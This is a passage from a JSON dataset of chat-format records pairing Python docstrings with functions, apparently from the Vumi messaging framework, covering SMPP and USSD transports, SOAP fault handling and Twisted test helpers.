request.session['from_addr'])\n request.deferred.callback(self.response_for_error())", "conversation_id": 817, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 818, "message_id": 0 }, { "role": "user", "content": "Transport-specific config validation happens in here..", "conversation_id": 818, "message_id": 1 }, { "role": "assistant", "content": "def validate_config(self):\n self.message_id_lifetime = self.config.get('message_id_lifetime',\n self.DEFAULT_MESSAGE_ID_LIFETIME)\n self.web_receipt_path = self.config['web_receipt_path']\n self.web_receive_path = self.config['web_receive_path']\n self.web_port = int(self.config['web_port'])\n self.opera_url = self.config['url']\n self.opera_channel = self.config['channel']\n self.opera_password = self.config['password']\n self.opera_service = self.config['service']\n self.max_segments = self.config.get('max_segments', 9)\n self.r_config = self.config.get('redis_manager', {})\n self.transport_name = self.config['transport_name']", "conversation_id": 818, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 819, "message_id": 0 }, { "role": "user", "content": "Decide what to do on certain failure cases..", "conversation_id": 819, "message_id": 1 }, { "role": "assistant", "content": "def handle_outbound_message_failure(self, failure, message):\n if failure.check(xmlrpc.Fault):\n raise TemporaryFailure(failure)\n elif failure.check(ValueError):\n yield self.publish_nack(message['message_id'], str(failure.value))\n raise PermanentFailure(failure)\n else:\n yield self.publish_nack(message['message_id'], str(failure.value))\n raise failure", "conversation_id": 819, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 820, "message_id": 0 }, { "role": "user", "content": "Clean-up of setup done in setup_dispatcher should happen here..", "conversation_id": 820, "message_id": 1 }, { "role": "assistant", "content": "def teardown_dispatcher(self):\n pass", "conversation_id": 820, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 821, "message_id": 0 }, { "role": "user", "content": "Post-migrate-function for use in tests..", "conversation_id": 821, "message_id": 1 }, { "role": "assistant", "content": "def post_migrate_function(obj):\n obj.a = obj.a + u\"-modified\"\n return True", "conversation_id": 821, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 822, "message_id": 0 }, { "role": "user", "content": "Post-migrate-function for use in tests..", "conversation_id": 822, "message_id": 1 }, { "role": "assistant", "content": "def post_migrate_function_deferred(obj):\n from twisted.internet import reactor\n return deferLater(reactor, 0.1, post_migrate_function, obj)", "conversation_id": 822, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 823, "message_id": 0 }, { "role": "user", "content": "Post-migrate-function for use in tests..", "conversation_id": 823, "message_id": 1 }, { "role": "assistant", "content": "def post_migrate_function_new_only(obj):\n if obj.was_migrated:\n return post_migrate_function(obj)\n return False", "conversation_id": 823, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 824, "message_id": 0 }, { "role": "user", "content": "Get the fully-qualified name of a thing..", "conversation_id": 824, "message_id": 1 }, { "role": "assistant", "content": "def fqpn(thing):\n return \".\".join([thing.__module__, thing.__name__])", "conversation_id": 824, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 825, "message_id": 0 }, { "role": "user", "content": "This is a drop in replacement for the original `http_request_full` method\nbut it has its internals completely replaced by treq. Treq supports SNI\nand our implementation does not for some reason. Also, we do not want\nto continue maintaining this because we're favouring treq everywhere\nanyway..", "conversation_id": 825, "message_id": 1 }, { "role": "assistant", "content": "def http_request_full(url, data=None, headers={}, method='POST',\n timeout=None, data_limit=None, context_factory=None,\n agent_class=None, reactor=None):\n agent_class = agent_class or Agent\n if reactor is None:\n from twisted.internet import reactor\n kwargs = {'pool': HTTPConnectionPool(reactor, persistent=False)}\n if context_factory is not None:\n kwargs['contextFactory'] = context_factory\n agent = agent_class(reactor, **kwargs)\n client = HTTPClient(agent)\n def handle_response(response):\n return SimplishReceiver(response, data_limit).deferred\n d = client.request(method, url, headers=headers, data=data)\n d.addCallback(handle_response)\n if timeout is not None:\n cancelling_on_timeout = [False]\n def raise_timeout(reason):\n if not cancelling_on_timeout[0] or reason.check(HttpTimeoutError):\n return reason\n return Failure(HttpTimeoutError(\"Timeout while connecting\"))\n def cancel_on_timeout():\n cancelling_on_timeout[0] = True\n d.cancel()\n def cancel_timeout(r, delayed_call):\n if delayed_call.active():\n delayed_call.cancel()\n return r\n d.addErrback(raise_timeout)\n delayed_call = reactor.callLater(timeout, cancel_on_timeout)\n d.addCallback(cancel_timeout, delayed_call)\n return d", "conversation_id": 825, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 826, "message_id": 0 }, { "role": "user", "content": "Checks to see if the current status is a repeat. If it is, None is\nreturned. If it isn't, the status is returned..", "conversation_id": 826, "message_id": 1 }, { "role": "assistant", "content": "def check_status(self, **status):\n self._check_state(status['status'], status['component'])\n if self._check_type(status['type'], status['component']):\n return status", "conversation_id": 826, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 827, "message_id": 0 }, { "role": "user", "content": "Count keys in an index page, filtering by regex if necessary..", "conversation_id": 827, "message_id": 1 }, { "role": "assistant", "content": "def count_keys(self, keys, filter_regex):\n if filter_regex is not None:\n keys = [(v, k) for v, k in keys if filter_regex.match(v)]\n return len(keys)", "conversation_id": 827, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 828, "message_id": 0 }, { "role": "user", "content": "Perform an index query to get all keys and count them..", "conversation_id": 828, "message_id": 1 }, { "role": "assistant", "content": "def count_all_keys(self):\n self.emit(\"Counting all keys ...\")\n index_page = yield self.model.all_keys_page(\n max_results=self.options[\"index-page-size\"])\n yield self.count_pages(index_page, filter_regex=None)", "conversation_id": 828, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 829, "message_id": 0 }, { "role": "user", "content": "Perform an index query to get all matching keys and count them..", "conversation_id": 829, "message_id": 1 }, { "role": "assistant", "content": "def count_index_keys(self):\n filter_regex = self.options[\"index-value-regex\"]\n if filter_regex is not None:\n filter_regex = re.compile(filter_regex)\n self.emit(\"Counting ...\")\n index_page = yield self.model.index_keys_page(\n field_name=self.options[\"index-field\"],\n value=self.options[\"index-value\"],\n end_value=self.options[\"index-value-end\"],\n max_results=self.options[\"index-page-size\"],\n return_terms=True)\n yield self.count_pages(index_page, filter_regex=filter_regex)", "conversation_id": 829, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 830, "message_id": 0 }, { "role": "user", "content": "handle messages arriving over AMQP meant for delivery via vas2nets.", "conversation_id": 830, "message_id": 1 }, { "role": "assistant", "content": "def handle_outbound_message(self, message):\n params = {\n 'username': self.config['username'],\n 'password': self.config['password'],\n 'owner': self.config['owner'],\n 'service': self.config['service'],\n }\n v2n_message_id = message.get('in_reply_to')\n if v2n_message_id is not None:\n if v2n_message_id.startswith(self.transport_name):\n v2n_message_id = v2n_message_id[len(self.transport_name) + 1:]\n else:\n v2n_message_id = message['message_id']\n message_params = {\n 'call-number': normalize_outbound_msisdn(message['to_addr']),\n 'origin': message['from_addr'],\n 'messageid': v2n_message_id,\n 'provider': message['transport_metadata']['network_id'],\n 'tariff': message['transport_metadata'].get('tariff', 0),\n 'text': validate_characters(message['content']),\n 'subservice': self.config.get('subservice',\n message['transport_metadata'].get(\n 'keyword', '')),\n }\n params.update(message_params)\n log.msg('Hitting %s with %s' % (self.config['url'], params))\n log.msg(urlencode(params))\n try:\n response = yield http_request_full(\n self.config['url'], urlencode(params), {\n 'User-Agent': ['Vumi Vas2Net Transport'],\n 'Content-Type': ['application/x-www-form-urlencoded'],\n }, 'POST', agent_class=self.agent_factory)\n except ConnectionRefusedError:\n log.msg(\"Connection failed sending message:\", message)\n raise TemporaryFailure('connection refused')\n log.msg('Headers', list(response.headers.getAllRawHeaders()))\n header = self.config.get('header', 'X-Nth-Smsid')\n if response.code != 200:\n raise PermanentFailure('server error: HTTP %s: %s'\n % (response.code, response.delivered_body))\n if response.headers.hasHeader(header):\n transport_message_id = response.headers.getRawHeaders(header)[0]\n yield self.publish_ack(\n user_message_id=message['message_id'],\n sent_message_id=transport_message_id,\n )\n else:\n err_msg = 'No SmsId Header, content: %s' % response.delivered_body\n yield self.publish_nack(\n user_message_id=message['message_id'],\n sent_message_id=message['message_id'],\n reason=err_msg)\n raise Vas2NetsTransportError(err_msg)", "conversation_id": 830, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 831, "message_id": 0 }, { "role": "user", "content": "Store this failure in redis, with an optional retry delay..", "conversation_id": 831, "message_id": 1 }, { "role": "assistant", "content": "def store_failure(self, message, reason, retry_delay=None):\n message_json = message\n if not isinstance(message, basestring):\n message_json = to_json(message)\n key = self.failure_key()\n if not retry_delay:\n retry_delay = 0\n yield self.redis.hmset(key, {\n \"message\": message_json,\n \"reason\": reason,\n \"retry_delay\": str(retry_delay),\n })\n yield self.add_to_failure_set(key)\n if retry_delay:\n yield self.store_retry(key, retry_delay)\n returnValue(key)", "conversation_id": 831, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 832, "message_id": 0 }, { "role": "user", "content": "Handle a failed message from a transport..", "conversation_id": 832, "message_id": 1 }, { "role": "assistant", "content": "def handle_failure(self, message, failure_code, reason):\n if failure_code == FailureMessage.FC_TEMPORARY:\n return self.do_retry(message, reason)\n else:\n return self.store_failure(message, reason)", "conversation_id": 832, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 833, "message_id": 0 }, { "role": "user", "content": "Asserts that the JSON response we're getting back is the same as\nthe list of messages provided.\n\nThere are easier ways to do this by comparing bigger JSON blogs\nbut then debugging the huge strings would be a pain..", "conversation_id": 833, "message_id": 1 }, { "role": "assistant", "content": "def assertJSONResultEqual(self, json_blob, messages):\n dictionaries = json.loads(json_blob)\n self.assertEqual(len(dictionaries), len(messages),\n 'Unequal amount of dictionaries and messages')\n for dictionary, message in zip(dictionaries, messages):\n self.assertEqual(\n TransportUserMessage(_process_fields=False, **message.payload),\n TransportUserMessage.from_json(json.dumps(dictionary)))", "conversation_id": 833, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 834, "message_id": 0 }, { "role": "user", "content": "Wait zero seconds to give the reactor a chance to work.\nReturns its (optional) argument, so it's useful as a callback..", "conversation_id": 834, "message_id": 1 }, { "role": "assistant", "content": "def wait0(r=None):\n from twisted.internet import reactor\n return deferLater(reactor, 0, lambda: r)", "conversation_id": 834, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 835, "message_id": 0 }, { "role": "user", "content": "Write some bytes and allow the reactor to send them..", "conversation_id": 835, "message_id": 1 }, { "role": "assistant", "content": "def write(self, data):\n self.transport.write(data)\n return wait0()", "conversation_id": 835, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 836, "message_id": 0 }, { "role": "user", "content": "Get an endpoint that connects clients to this server..", "conversation_id": 836, "message_id": 1 }, { "role": "assistant", "content": "def endpoint(self):\n return FakeServerEndpoint(self)", "conversation_id": 836, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 837, "message_id": 0 }, { "role": "user", "content": "Wait for a client to start connecting, and then return a.", "conversation_id": 837, "message_id": 1 }, { "role": "assistant", "content": "def await_connection(self):\n return self.connection_queue.get()", "conversation_id": 837, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 838, "message_id": 0 }, { "role": "user", "content": "Wait for a client to finish connecting..", "conversation_id": 838, "message_id": 1 }, { "role": "assistant", "content": "def await_connected(self):\n return self._connected_d", "conversation_id": 838, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 839, "message_id": 0 }, { "role": "user", "content": "Wait for the both sides of the connection to close..", "conversation_id": 839, "message_id": 1 }, { "role": "assistant", "content": "def await_finished(self):\n return self._finished_d", "conversation_id": 839, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 840, "message_id": 0 }, { "role": "user", "content": "Patch the protocol's makeConnection and connectionLost methods to make the\nprotocol and its transport behave more like what `Agent` expects.\n\nWhile `Agent` is the driving force behind this, other clients and servers\nwill no doubt have similar requirements..", "conversation_id": 840, "message_id": 1 }, { "role": "assistant", "content": "def patch_protocol_for_agent(protocol):\n old_makeConnection = protocol.makeConnection\n old_connectionLost = protocol.connectionLost\n def new_makeConnection(transport):\n patch_transport_fake_push_producer(transport)\n patch_transport_abortConnection(transport, protocol)\n return old_makeConnection(transport)\n def new_connectionLost(reason):\n if protocol._fake_connection_aborted and reason.check(ConnectionDone):\n reason = Failure(ConnectionAborted())\n return old_connectionLost(reason)\n protocol.makeConnection = new_makeConnection\n protocol.connectionLost = new_connectionLost\n protocol._fake_connection_aborted = False", "conversation_id": 840, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 841, "message_id": 0 }, { "role": "user", "content": "Patch a method onto an object if it isn't already there..", "conversation_id": 841, "message_id": 1 }, { "role": "assistant", "content": "def patch_if_missing(obj, name, method):\n setattr(obj, name, getattr(obj, name, method))", "conversation_id": 841, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 842, "message_id": 0 }, { "role": "user", "content": "Patch the three methods belonging to IPushProducer onto the transport if it\ndoesn't already have them. (`Agent` assumes its transport has these.).", "conversation_id": 842, "message_id": 1 }, { "role": "assistant", "content": "def patch_transport_fake_push_producer(transport):\n patch_if_missing(transport, 'pauseProducing', lambda: None)\n patch_if_missing(transport, 'resumeProducing', lambda: None)\n patch_if_missing(transport, 'stopProducing', transport.loseConnection)", "conversation_id": 842, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 843, "message_id": 0 }, { "role": "user", "content": "Patch abortConnection() on the transport or add it if it doesn't already\nexist (`Agent` assumes its transport has this).\n\nThe patched method sets an internal flag recording the abort and then calls\nthe original method (if it existed) or transport.loseConnection (if it\ndidn't)..", "conversation_id": 843, "message_id": 1 }, { "role": "assistant", "content": "def patch_transport_abortConnection(transport, protocol):\n _old_abortConnection = getattr(\n transport, 'abortConnection', transport.loseConnection)\n def abortConnection():\n protocol._fake_connection_aborted = True\n _old_abortConnection()\n transport.abortConnection = abortConnection", "conversation_id": 843, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 844, "message_id": 0 }, { "role": "user", "content": "Called if the SMPP connection is not bound within\n``smpp_bind_timeout`` amount of seconds.", "conversation_id": 844, "message_id": 1 }, { "role": "assistant", "content": "def drop_link(self):\n if self.is_bound():\n return\n yield self.service.on_smpp_bind_timeout()\n yield self.disconnect(\n 'Dropping link due to binding delay. Current state: %s' % (\n self.state))", "conversation_id": 844, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 845, "message_id": 0 }, { "role": "user", "content": "Send a PDU to the SMSC.", "conversation_id": 845, "message_id": 1 }, { "role": "assistant", "content": "def send_pdu(self, pdu):\n self.emit('OUTGOING >> %r' % (pdu.get_obj(),))\n return self.transport.write(pdu.get_bin())", "conversation_id": 845, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 846, "message_id": 0 }, { "role": "user", "content": "Called when an SMPP PDU is received for which no handler function has\nbeen defined..", "conversation_id": 846, "message_id": 1 }, { "role": "assistant", "content": "def on_unsupported_command_id(self, pdu):\n self.log.warning(\n 'Received unsupported SMPP command_id: %r' % (command_id(pdu),))", "conversation_id": 846, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 847, "message_id": 0 }, { "role": "user", "content": "Called when the bind has been setup.", "conversation_id": 847, "message_id": 1 }, { "role": "assistant", "content": "def on_smpp_bind(self, sequence_number):\n self.drop_link_call.cancel()\n self.disconnect_call = self.clock.callLater(\n self.idle_timeout, self.disconnect,\n 'Disconnecting, no response from SMSC for longer '\n 'than %s seconds' % (self.idle_timeout,))\n self.enquire_link_call.clock = self.clock\n self.enquire_link_call.start(self.config.smpp_enquire_link_interval)\n return self.service.on_smpp_bind()", "conversation_id": 847, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 848, "message_id": 0 }, { "role": "user", "content": "Format a datetime object using the Vumi date format..", "conversation_id": 848, "message_id": 1 }, { "role": "assistant", "content": "def format_vumi_date(timestamp):\n return timestamp.strftime(VUMI_DATE_FORMAT)", "conversation_id": 848, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 849, "message_id": 0 }, { "role": "user", "content": "Parse a timestamp string using the Vumi date format.\nTimestamps without microseconds are also parsed correctly..", "conversation_id": 849, "message_id": 1 }, { "role": "assistant", "content": "def parse_vumi_date(value):\n date_format = VUMI_DATE_FORMAT\n if \".\" not in value[-10:]:\n date_format = _VUMI_DATE_FORMAT_NO_MICROSECONDS\n return datetime.strptime(value, date_format)", "conversation_id": 849, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 850, "message_id": 0 }, { "role": "user", "content": "A special payload attribute that isn't stored by the message store..", "conversation_id": 850, "message_id": 1 }, { "role": "assistant", "content": "def cache(self):\n return self.payload.setdefault(self._CACHE_ATTRIBUTE, {})", "conversation_id": 850, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 851, "message_id": 0 }, { "role": "user", "content": "Construct a reply message.\nThe reply message will have its `to_addr` field set to the original\nmessage's `from_addr`. This means that even if the original message is\ndirected to the group only , the\nreply will be directed to the sender of the original message..", "conversation_id": 851, "message_id": 1 }, { "role": "assistant", "content": "def reply(self, content, continue_session=True, **kw):\n session_event = None if continue_session else self.SESSION_CLOSE\n for field in [\n 'to_addr', 'from_addr', 'group', 'in_reply_to', 'provider'\n 'transport_name', 'transport_type', 'transport_metadata']:\n if field in kw:\n raise TypeError(\"'%s' may not be overridden.\" % (field,))\n fields = {\n 'helper_metadata': self['helper_metadata'], \n 'session_event': session_event,\n 'to_addr': self['from_addr'],\n 'from_addr': self['to_addr'],\n 'group': self['group'],\n 'in_reply_to': self['message_id'],\n 'provider': self['provider'],\n 'transport_name': self['transport_name'],\n 'transport_type': self['transport_type'],\n 'transport_metadata': self['transport_metadata'],\n }\n fields.update(kw)\n out_msg = TransportUserMessage(content=content, **fields)\n out_msg.set_routing_endpoint(self.get_routing_endpoint())\n return out_msg", "conversation_id": 851, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 852, "message_id": 0 }, { "role": "user", "content": "Messages sent to the bot will arrive here. Command handling routing\nis done in this function..", "conversation_id": 852, "message_id": 1 }, { "role": "assistant", "content": "def onMessage(self, message):\n if not isinstance(message.body, DomishElement):\n return None\n text = unicode(message.body).encode('utf-8').strip()\n from_addr, _, _ = message['from'].partition('/')\n self.message_callback(\n to_addr=self.jid.userhost(),\n from_addr=from_addr,\n content=text,\n transport_type='xmpp',\n transport_metadata={\n 'xmpp_id': message.getAttribute('id'),\n })", "conversation_id": 852, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 853, "message_id": 0 }, { "role": "user", "content": "Perform a SOAP request.\nIf the remote server responds with an HTTP 500 status, then it is assumed\nthat the body contains a SOAP fault, which is then parsed and a `SoapFault`\nexception raised..", "conversation_id": 853, "message_id": 1 }, { "role": "assistant", "content": "def perform_soap_request(uri, action, body, header=None,\n expected_faults=None,\n http_request_full=http_request_full):\n def _parse_soap_response(response):\n root = fromstring(response.delivered_body)\n body, header = unwrap_soap_envelope(root)\n if response.code == http.INTERNAL_SERVER_ERROR:\n raise SoapFault.from_element(body, expected_faults)\n return body, header\n envelope = soap_envelope(body, header)\n headers = {\n 'SOAPAction': action,\n 'Content-Type': 'text/xml; charset=\"utf-8\"'}\n d = http_request_full(uri, tostring(envelope), headers)\n d.addCallback(_parse_soap_response)\n return d", "conversation_id": 853, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 854, "message_id": 0 }, { "role": "user", "content": "Wrap an element or text in a SOAP envelope..", "conversation_id": 854, "message_id": 1 }, { "role": "assistant", "content": "def soap_envelope(body, header=None):\n parts = [SOAP_ENV.Body(body)]\n if header is not None:\n parts.insert(0, SOAP_ENV.Header(header))\n return SOAP_ENV.Envelope(*parts)", "conversation_id": 854, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 855, "message_id": 0 }, { "role": "user", "content": "Unwrap a SOAP request and return the SOAP header and body elements..", "conversation_id": 855, "message_id": 1 }, { "role": "assistant", "content": "def unwrap_soap_envelope(root):\n header = elemfind(root, SOAP_ENV.Header)\n body = elemfind(root, SOAP_ENV.Body)\n if body is None:\n raise SoapFault(u'soapenv:Client', u'Malformed SOAP request')\n return body, header", "conversation_id": 855, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 856, "message_id": 0 }, { "role": "user", "content": "Create a SOAP fault response..", "conversation_id": 856, "message_id": 1 }, { "role": "assistant", "content": "def soap_fault(faultcode, faultstring=None, faultactor=None, detail=None):\n def _maybe(f, value):\n if value is not None:\n return f(value)\n return None\n xs = [\n LocalNamespace.faultcode(faultcode),\n _maybe(LocalNamespace.faultstring, faultstring),\n _maybe(LocalNamespace.faultactor, faultactor),\n _maybe(LocalNamespace.detail, detail)]\n return SOAP_ENV.Fault(*[x for x in xs if x is not None])", "conversation_id": 856, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 857, "message_id": 0 }, { "role": "user", "content": "Parse expected SOAP faults from a SOAP fault ``detail`` element..", "conversation_id": 857, "message_id": 1 }, { "role": "assistant", "content": "def _parse_expected_faults(detail, expected_faults):\n if detail is None:\n return None\n for child in detail.getchildren():\n for exc_type in expected_faults:\n try:\n if exc_type.detail_type is not None:\n det = exc_type.detail_type.from_element(child)\n if det is not None:\n return exc_type, det\n except:\n log.err(\n None, 'Error parsing SOAP fault element (%r) with %r' % (\n child, exc_type.detail_type))\n return None", "conversation_id": 857, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 858, "message_id": 0 }, { "role": "user", "content": "Parse a SOAP fault element and its details..", "conversation_id": 858, "message_id": 1 }, { "role": "assistant", "content": "def parse_soap_fault(body, expected_faults=None):\n fault = elemfind(body, SOAP_ENV.Fault)\n if fault is None:\n return None\n faultcode = gettext(fault, u'faultcode')\n faultstring = gettext(fault, u'faultstring')\n faultactor = gettext(fault, u'faultactor')\n detail = elemfind(fault, u'detail')\n if expected_faults is None:\n expected_faults = []\n parsed = _parse_expected_faults(detail, expected_faults)\n return parsed, (faultcode, faultstring, faultactor, detail)", "conversation_id": 858, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 859, "message_id": 0 }, { "role": "user", "content": "Parse a SOAP fault from an ElementTree element..", "conversation_id": 859, "message_id": 1 }, { "role": "assistant", "content": "def from_element(cls, root, expected_faults=None):\n faultinfo = parse_soap_fault(root, expected_faults)\n if faultinfo is None:\n raise ValueError(\n 'Element (%r) does not contain a SOAP fault' % (root,))\n parsed_fault, faultinfo = faultinfo\n if parsed_fault is None:\n parsed_fault = SoapFault, None\n exc_type, parsed_detail = parsed_fault\n faultcode, faultstring, faultactor, detail = faultinfo\n return exc_type(\n faultcode, faultstring, faultactor, detail, parsed_detail)", "conversation_id": 859, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 860, "message_id": 0 }, { "role": "user", "content": "Serialize this SOAP fault to an ElementTree element..", "conversation_id": 860, "message_id": 1 }, { "role": "assistant", "content": "def to_element(self):\n detail = self.detail\n if detail is not None:\n detail = self.detail.getchildren()\n return soap_fault(\n self.code, self.string, self.actor, detail)", "conversation_id": 860, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 861, "message_id": 0 }, { "role": "user", "content": "Clean-up of setup done in setup_transport..", "conversation_id": 861, "message_id": 1 }, { "role": "assistant", "content": "def teardown_transport(self):\n self.session_manager.stop()\n if self.xmlrpc_server is not None:\n yield self.xmlrpc_server.stopListening()", "conversation_id": 861, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 862, "message_id": 0 }, { "role": "user", "content": "Called by the XML-RPC server when it receives a payload that\nneeds processing..", "conversation_id": 862, "message_id": 1 }, { "role": "assistant", "content": "def handle_raw_inbound_request(self, message_id, values, d):\n self.timeout_request = self.callLater(self.timeout,\n self.timed_out, message_id)\n self._requests[message_id] = values\n self._requests_deferreds[message_id] = d\n if not self.validate_inbound_data(values.keys()):\n self.timeout_request.cancel()\n self.remove_request(message_id)\n d.errback(InvalidRequest(\"4001: Missing Parameters\"))\n else:\n session_id = values['TransactionId']\n session = yield self.session_manager.load_session(session_id)\n if session:\n session_event = TransportUserMessage.SESSION_RESUME\n content = values['USSDRequestString']\n else:\n yield self.session_manager.create_session(\n session_id, from_addr=values['MSISDN'],\n to_addr=values['USSDServiceCode'])\n session_event = TransportUserMessage.SESSION_NEW\n content = None\n metadata = {\n 'transaction_id': values['TransactionId'],\n 'transaction_time': values['TransactionTime'],\n }\n res = yield self.publish_message(\n message_id=message_id,\n content=content,\n from_addr=values['MSISDN'],\n to_addr=values['USSDServiceCode'],\n session_event=session_event,\n transport_type=self.transport_type,\n transport_metadata={'mtn_rwanda_ussd': metadata}\n )\n returnValue(res)", "conversation_id": 862, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 863, "message_id": 0 }, { "role": "user", "content": "Read outbound message and do what needs to be done with them..", "conversation_id": 863, "message_id": 1 }, { "role": "assistant", "content": "def handle_outbound_message(self, message):\n request_id = message['in_reply_to']\n if self.get_request(request_id) is None:\n return self.publish_nack(user_message_id=message['message_id'],\n sent_message_id=message['message_id'],\n reason='Request not found')\n self.timeout_request.cancel()\n self.finish_request(request_id,\n message.payload['content'].encode('utf-8'),\n message['session_event'])\n return self.publish_ack(user_message_id=request_id,\n sent_message_id=request_id)", "conversation_id": 863, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 864, "message_id": 0 }, { "role": "user", "content": "Create a client connection to a fake server..", "conversation_id": 864, "message_id": 1 }, { "role": "assistant", "content": "def connect_client(self, fake_server):\n conn_d = fake_server.await_connection()\n self.assertNoResult(conn_d) \n client_d = fake_server.endpoint.connect(self.client_factory)\n client = self.successResultOf(client_d)\n conn = self.successResultOf(conn_d)\n self.assert_connected(conn, client)\n return (conn, client)", "conversation_id": 864, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 865, "message_id": 0 }, { "role": "user", "content": "Assert that a connection is not yet connected..", "conversation_id": 865, "message_id": 1 }, { "role": "assistant", "content": "def assert_pending(self, conn):\n self.assertEqual(conn.client_protocol, None)\n self.assertEqual(conn.server_protocol, None)\n self.assertEqual(conn.connected, False)\n self.assertEqual(conn.pending, True)\n self.assertNoResult(conn._accept_d)\n self.assertNoResult(conn._connected_d)\n self.assertNoResult(conn._finished_d)", "conversation_id": 865, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 866, "message_id": 0 }, { "role": "user", "content": "Assert that a connection is connected to a client..", "conversation_id": 866, "message_id": 1 }, { "role": "assistant", "content": "def assert_connected(self, conn, client):\n self.assertIsInstance(conn.client_protocol, DummyClientProtocol)\n self.assertEqual(conn.client_protocol.side, \"client\")\n self.assertEqual(conn.client_protocol.connected, True)\n self.assertEqual(conn.client_protocol.disconnected_reason, None)\n self.assertIsInstance(conn.server_protocol, DummyServerProtocol)\n self.assertEqual(conn.server_protocol.side, \"server\")\n self.assertEqual(conn.server_protocol.connected, True)\n self.assertEqual(conn.server_protocol.disconnected_reason, None)\n self.assertEqual(conn.connected, True)\n self.assertEqual(conn.pending, False)\n self.successResultOf(conn._accept_d)\n self.successResultOf(conn._connected_d)\n self.assertNoResult(conn._finished_d)\n 